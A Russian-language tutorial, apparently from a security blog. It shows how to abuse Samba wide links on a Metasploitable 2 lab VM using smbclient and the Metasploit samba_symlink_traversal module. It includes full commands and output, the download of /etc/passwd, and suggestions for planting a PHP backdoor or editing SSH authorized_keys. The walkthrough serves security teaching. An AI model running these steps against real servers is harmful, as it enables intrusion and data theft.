Получение доступа к корневой файловой системе через Samba

Получение доступа к корневой файловой системе через Samba

В этой статье мы познакомились с широкими ссылками в Samba и методами эксплуатации этих ссылок для получения доступа к корневой файловой системе.

Автор: drd_

Samba можно сконфигурировать таким образом, чтобы любой пользователь, у которого есть права на запись, мог создать ссылку к корневой файловой системе. Как только у злоумышленника появляется этот уровень доступа, получение полного контроля над системой остается лишь вопросом времени. Хотя подобная конфигурация в «дикой природе» встречается не часто, однако если встретится, мы можем воспользоваться одним из модулей в Metasploit для эксплуатации этой уязвимости.

Символические ссылки (symlink) представляют собой файлы, связанные с другими файлами или директориями системе и являющиеся неотъемлемой частью Линукса. Символические ссылки часто используются для подключения библиотек и перенаправления определенных бинарных файлов на другие версии.

Системы для общего доступа к файлам навроде Samba могут использовать символические ссылки, позволяя реализовать упрощенный доступ к связанным папкам и файлам. Однако эти ссылки обычно замыкаются внутри общего ресурса и делают невозможным получения доступа ко всей файловой системе.

В Samba есть так называемые широкие ссылки, представляющие собой символические ссылки, которым разрешено ссылаться наружу изолированного общего файлового ресурса. Само собой, здесь сразу же возникает большая дыра в безопасности, поскольку любой пользователь с правами на запись в общем ресурсе, может создать ссылку к корневой файловой системе.

Во время демонстрации технологии я буду использовать Kali Linux для атаки на виртуальную машину Metasploitable 2. Само собой, вы также можете воспользоваться своей собственной средой для пентестов, если таковая имеется.

Шаг 1. Создание ссылки при помощи Metasploit

После обнаружения службы SMB первое, что нам нужно, - проверить, есть ли доступ к общим ресурсам, и если есть, то найти имена этих ресурсов. Для решения этой задачи можно воспользоваться приложением smbclient:

~# smbclient -L //10.10.0.50/ Enter WORKGROUP\root's password: Anonymous login successful Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) Reconnecting with SMB1 for workgroup listing. Anonymous login successful Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP METASPLOITABLE По результатам выше видно, что мы можем подключаться анонимно и получать список общих ресурсов. По-видимому, также есть пара ресурсов, используемых по умолчанию, но для нас представляет интерес имя tmp. К тому же, у этого ресурса есть комментарий, выглядящий подозрительно. Короче говоря, цель найдена.

Далее в терминале вводим команду msfconsole для запуска Metasploit.

~# msfconsole [-] ***rting the Metasploit Framework console.../ [-] * WARNING: No database support: No database YAML file [-] *** . . . dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o ' dB' BBP dB'dB'dB' dBBP dBP dBP BB dB'dB'dB' dBP dBP dBP BB dB'dB'dB' dBBBBP dBP dBBBBBBB dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP . . dB' dBP dB'.BP | dBP dBBBB' dBP dB'.BP dBP dBP --o-- dBP dBP dBP dB'.BP dBP dBP | dBBBBP dBP dBBBBP dBBBBP dBP dBP . . o To boldly go where no shell has gone before =[ metasploit v5.0.20-dev ] + -- --=[ 1886 exploits - 1065 auxiliary - 328 post ] + -- --=[ 546 payloads - 44 encoders - 10 nops ] + -- --=[ 2 evasion ] msf5 > После появления приветственного баннера ищем подходящий модуль при помощи команды search: msf5 > search samba symlink Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/smb/samba_symlink_traversal normal No Samba Symlink Directory Traversal 1 auxiliary/dos/samba/lsa_addprivs_heap normal No Samba lsa_io_privilege_set Heap Overflow 2 auxiliary/dos/samba/lsa_transnames_heap normal No Samba lsa_io_trans_names Heap Overflow 3 auxiliary/dos/samba/read_nttrans_ea_list normal No Samba read_nttrans_ea_list Integer Overflow 4 auxiliary/scanner/rsync/modules_list normal Yes List Rsync Modules 5 auxiliary/scanner/smb/smb_uninit_cred normal Yes Samba _netr_ServerPasswordSet Uninitialized Credential State 6 auxiliary/server/wget_symlink_file_write 2014-10-27 normal No GNU Wget FTP Symlink Arbitrary Filesystem Access 7 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86) 8 exploit/linux/local/abrt_raceabrt_priv_esc 2015-04-14 excellent Yes ABRT raceabrt Privilege Escalation 9 exploit/linux/local/asan_suid_executable_priv_esc 2016-02-17 excellent Yes AddressSanitizer (ASan) SUID Executable Privilege Escalation 10 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86) 11 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load 12 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow 13 exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overflow 14 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86) 15 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow 16 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution 17 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow 18 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC) 19 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow 20 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC) 21 exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 excellent Yes Quest KACE Systems Management Command Injection 22 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution 23 exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Yes Citrix Access Gateway Command Execution 24 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent No MS14-060 Microsoft Windows OLE Package Manager Code Execution 25 exploit/windows/http/sambar6_search_results 2003-06-21 normal Yes Sambar 6 Search Results Buffer Overflow 26 exploit/windows/license/calicclnt_getconfig 2005-03-02 average No Computer Associates License Client GETCONFIG Overflow 27 exploit/windows/local/ms13_097_ie_registry_symlink 2013-12-10 great No MS13-097 Registry Symlink IE Sandbox Escape 28 exploit/windows/smb/group_policy_startup 2015-01-26 manual No Group Policy Script Execution From Shared Resource 29 post/linux/gather/enum_configs Мы получили множество результатов, однако нужный нам модуль находится в самом начале, который мы загружаем при помощи команды use с указанием соответствующего пути. msf5 > use auxiliary/admin/smb/samba_symlink_traversal После подключения в контекст модуля вводим команду options для просмотра доступных настроек:

msf5 auxiliary(admin/smb/samba_symlink_traversal) > options Module options (auxiliary/admin/smb/samba_symlink_traversal): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMBSHARE yes The name of a writeable share on the server SMBTARGET rootfs yes The name of the directory that should point to the root filesystem В опции RPORT уже установлен корректный номер порта 445 для службы SMB. В опции SMBTARGET указано имя директории, которая будет создана для связи с корневой файловой системой. Нам осталось установить IP-адрес целевой системы в опции RHOSTS:

msf5 auxiliary(admin/smb/samba_symlink_traversal) > set rhosts 10.10.0.50 rhosts => 10.10.0.50

Также указываем имя общего файлового ресурса для записи (в нашем случае – tmp):

msf5 auxiliary(admin/smb/samba_symlink_traversal) > set smbshare tmp smbshare => tmp

Когда все опции установлены, вводим команду run для запуска модуля:

msf5 auxiliary(admin/smb/samba_symlink_traversal) > run [*] Running module against 10.10.0.50 [*] 10.10.0.50:445 - Connecting to the server... [*] 10.10.0.50:445 - Trying to mount writeable share 'tmp'... [*] 10.10.0.50:445 - Trying to link 'rootfs' to the root filesystem... [*] 10.10.0.50:445 - Now access the following share to browse the root filesystem: [*] 10.10.0.50:445 - \\10.10.0.50\tmp\rootfs\ [*] Auxiliary module execution completed

В результате мы видим, что происходит в процессе выполнения. Сначала подключение к серверу, а затем монтирование указанного ресурса на запись. Далее создается ссылка к корневой файловой системе и отображается путь для доступа. Прекрасно.

Доступ к корневой файловой системе

Как только модуль выполнил свою работу, выходим из Metasploit при помощи команды exit и подключаемся к ресурсу, используя smbclient:

msf5 > exit ~# smbclient //10.10.0.50/tmp Enter WORKGROUP\root's password: Anonymous login successful Try "help" to get a list of possible commands. smb: \>

Мы можем еще раз залогиниться анонимно и воспользоваться командой ls для просмотра содержимого ресурса:

smb: \> ls . D 0 Wed Aug 8 10:52:28 2018 .. DR 0 Sun May 20 13:36:12 2012 4600.jsvc_up R 0 Wed Aug 8 08:57:48 2018 .ICE-unix DH 0 Wed Aug 8 08:56:05 2018 .X11-unix DH 0 Wed Aug 8 08:56:51 2018 .X0-lock HR 11 Wed Aug 8 08:56:51 2018 rootfs DR 0 Sun May 20 13:36:12 2012 7282168 blocks of size 1024. 5430648 blocks available

В списке выше видно, что появилась новая директория, созданная модулем и представляющая собой ссылку, куда мы можем зайти как в обычную папку:

smb: \> cd rootfs\ smb: \rootfs\> ls . DR 0 Sun May 20 13:36:12 2012 .. DR 0 Sun May 20 13:36:12 2012 initrd DR 0 Tue Mar 16 17:57:40 2010 media DR 0 Tue Mar 16 17:55:52 2010 bin DR 0 Sun May 13 22:35:33 2012 lost+found DR 0 Tue Mar 16 17:55:15 2010 mnt DR 0 Wed Apr 28 15:16:56 2010 sbin DR 0 Sun May 13 20:54:53 2012 initrd.img R 7929183 Sun May 13 22:35:56 2012 home DR 0 Fri Apr 16 01:16:02 2010 lib DR 0 Sun May 13 22:35:22 2012 usr DR 0 Tue Apr 27 23:06:37 2010 proc DR 0 Wed Aug 8 08:55:30 2018 root DR 0 Wed Aug 8 08:56:51 2018 sys DR 0 Wed Aug 8 08:55:31 2018 boot DR 0 Sun May 13 22:36:28 2012 nohup.out R 20962 Wed Aug 8 08:56:51 2018 etc DR 0 Wed Aug 8 08:56:23 2018 dev DR 0 Wed Aug 8 08:56:06 2018 vmlinuz R 1987288 Thu Apr 10 11:55:41 2008 opt DR 0 Tue Mar 16 17:57:39 2010 var DR 0 Wed Mar 17 09:08:23 2010 cdrom DR 0 Tue Mar 16 17:55:51 2010 tmp D 0 Wed Aug 8 10:52:28 2018 srv DR 0 Tue Mar 16 17:57:38 2010 7282168 blocks of size 1024. 5430648 blocks available

У нас появился доступ к файловой корневой системе. Теперь мы, например, можем посмотреть содержимое файла /etc/passwd. Меняем директорию на /etc/ и используем команду get для загрузки файла на нашу машину:

smb: \rootfs\> cd etc smb: \rootfs\etc\> get passwd getting file \rootfs\etc\passwd of size 1581 as passwd (128.7 KiloBytes/sec) (average 128.7 KiloBytes/sec)

Теперь мы можем увидеть всех пользователей в целевой системе, все домашние директории, доступные шеллы, что очень приходится в дальнейшем.

~# cat passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false

Последующие сценарии атак

Поскольку у нас есть доступ к корневой файловой системе, далее мы можем пойти несколькими путями. Все зависит от вашего воображения и конфигурации целевой системы.

Однако здесь следует упомянуть об одной важной детали: у нас есть доступ к корневой файловой системе и права, назначенные анонимной учетной записи для общего файлового ресурса с именем tmp (скорее всего, это будут права обычного юзера, но не суперпользователя). Соответственно, появляются ограничения для маневра. В зависимости от настроек сервера можно попробовать реализовать несколько сценариев.

Например, поскольку у нас есть права на запись, можно положить PHP-бэкдор в корневую директорию сервера Apache, а затем через браузер запустить шелл для подключения с локальной машины. Еще один вектор для атаки – если позволяют права файла для конфигурирования SSH – модификация файла авторизированных ключей и последующее получение SSH-доступа.

Хакеру важно быть креативным, и даже в ситуациях, когда получение шелла кажется невозможным, если проявить настойчивость и упорство, задача будет решена.

Заключение

В этой статье мы познакомились с широкими ссылками в Samba и методами эксплуатации этих ссылок для получения доступа к корневой файловой системе. После получения базового доступа мы воспользовались модулем в Metasploit для создания ссылки, указывающий на корневую файловую систему сервера. Затем мы смогли получить список директорий корневой файловой системы и наметили возможные вектора для атак. Навыками использования слабостей конфигурации с целью эксплуатации и проникновения в систему должен обладать каждый специалист по безопасности.

Тени в интернете всегда следят за вами

Станьте невидимкой – подключайтесь к нашему каналу.